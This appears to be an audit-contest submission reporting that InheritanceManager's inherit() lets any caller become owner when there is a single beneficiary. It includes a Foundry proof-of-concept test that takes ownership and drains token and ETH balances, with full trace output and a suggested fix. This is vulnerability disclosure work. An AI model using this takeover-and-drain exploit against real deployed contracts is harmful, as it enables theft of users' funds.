Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone can call `InheritanceManager.sol::inherit()` and become contract owner, which can result in loss of funds

Summary

If only 1 address has been added as beneficiary, anyone can call InheritanceManager.sol::inherit() and become the owner of the InheritanceManager contract to drain all of the funds.

Vulnerability Details

function inherit() external {
if (block.timestamp < getDeadline()) {
revert InactivityPeriodNotLongEnough();
}
if (beneficiaries.length == 1) {
@> owner = msg.sender;
_setDeadline();
} else if (beneficiaries.length > 1) {
isInherited = true;
} else {
revert InvalidBeneficiaries();
}
}

Impact

function test_inheritSetsMsgSenderAsOwnerAndDrainFunds() public {
// Create attacker
address attacker = makeAddr("attacker");
// Give IM funds
usdc.mint(address(im), 10e6);
vm.deal(address(im), 10e18);
console.log("IM USDC balance:",usdc.balanceOf(address(im)));
console.log("IM ETH balance:",address(im).balance);
// Owner add 1 beneficiary
vm.startPrank(owner);
im.addBeneficiery(user1);
vm.stopPrank();
// Fast forward 90 days
vm.warp(90 days + 1);
// Attacker calls inherit and becomes owner
vm.startPrank(attacker);
im.inherit();
vm.assertEq(im.getOwner(), attacker);
console.log("attacker addr:", attacker);
console.log("IM owner:", im.getOwner());
// Drain funds
im.sendERC20(address(usdc), usdc.balanceOf(address(im)), attacker);
im.sendETH(address(im).balance, attacker);
vm.stopPrank();
assertEq(usdc.balanceOf(address(im)), 0);
assertEq(address(im).balance, 0);
console.log("IM USDC balance:",usdc.balanceOf(address(im)));
console.log("IM ETH balance:",address(im).balance);
}

Results

[PASS] test_inheritSetsMsgSenderAsOwnerAndDrainFunds() (gas: 195310)
Logs:
IM USDC balance: 10000000
IM ETH balance: 10000000000000000000
attacker addr: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
IM owner: 0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e
IM USDC balance: 0
IM ETH balance: 0
Traces:
[195310] InheritanceManagerTest::test_inheritSetsMsgSenderAsOwnerAndDrainFunds()
├─ [0] VM::addr(<pk>) [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::label(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], "attacker")
│ └─ ← [Return]
├─ [46784] ERC20Mock::mint(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 10000000 [1e7])
│ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], value: 10000000 [1e7])
│ └─ ← [Stop]
├─ [0] VM::deal(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], 10000000000000000000 [1e19])
│ └─ ← [Return]
├─ [559] ERC20Mock::balanceOf(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA]) [staticcall]
│ └─ ← [Return] 10000000 [1e7]
├─ [0] console::log("IM USDC balance:", 10000000 [1e7]) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("IM ETH balance:", 10000000000000000000 [1e19]) [staticcall]
│ └─ ← [Stop]
├─ [0] VM::startPrank(owner: [0x7c8999dC9a822c1f0Df42023113EDB4FDd543266])
│ └─ ← [Return]
├─ [69020] InheritanceManager::addBeneficiery(user1: [0x29E3b139f4393aDda86303fcdAa35F60Bb7092bF])
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::warp(7776001 [7.776e6])
│ └─ ← [Return]
├─ [0] VM::startPrank(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ └─ ← [Return]
├─ [3672] InheritanceManager::inherit()
│ └─ ← [Stop]
├─ [419] InheritanceManager::getOwner() [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] VM::assertEq(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Return]
├─ [0] console::log("attacker addr:", attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Stop]
├─ [419] InheritanceManager::getOwner() [staticcall]
│ └─ ← [Return] attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]
├─ [0] console::log("IM owner:", attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e]) [staticcall]
│ └─ ← [Stop]
├─ [559] ERC20Mock::balanceOf(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA]) [staticcall]
│ └─ ← [Return] 10000000 [1e7]
├─ [27796] InheritanceManager::sendERC20(ERC20Mock: [0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f], 10000000 [1e7], attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ ├─ [559] ERC20Mock::balanceOf(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA]) [staticcall]
│ │ └─ ← [Return] 10000000 [1e7]
│ ├─ [25204] ERC20Mock::transfer(attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], 10000000 [1e7])
│ │ ├─ emit Transfer(from: InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA], to: attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e], value: 10000000 [1e7])
│ │ └─ ← [Return] true
│ └─ ← [Stop]
├─ [32978] InheritanceManager::sendETH(10000000000000000000 [1e19], attacker: [0x9dF0C6b0066D5317aA5b38B36850548DaCCa6B4e])
│ ├─ [0] attacker::fallback{value: 10000000000000000000}()
│ │ └─ ← [Stop]
│ └─ ← [Stop]
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [559] ERC20Mock::balanceOf(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [0] VM::assertEq(0, 0) [staticcall]
│ └─ ← [Return]
├─ [559] ERC20Mock::balanceOf(InheritanceManager: [0x88F59F8826af5e695B13cA934d6c7999875A9EeA]) [staticcall]
│ └─ ← [Return] 0
├─ [0] console::log("IM USDC balance:", 0) [staticcall]
│ └─ ← [Stop]
├─ [0] console::log("IM ETH balance:", 0) [staticcall]
│ └─ ← [Stop]
└─ ← [Stop]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.04ms (259.37µs CPU time)

Tools Used

Manual review

Recommendations

If the intention is to reclaim the contract from beneficiary[0], to set beneficiary[0] as the contract owner instead of msg.sender

Updates

Lead Judging Commences

0xtimefliez Lead Judge 6 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Inherit depends on msg.sender so anyone can claim the contract

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.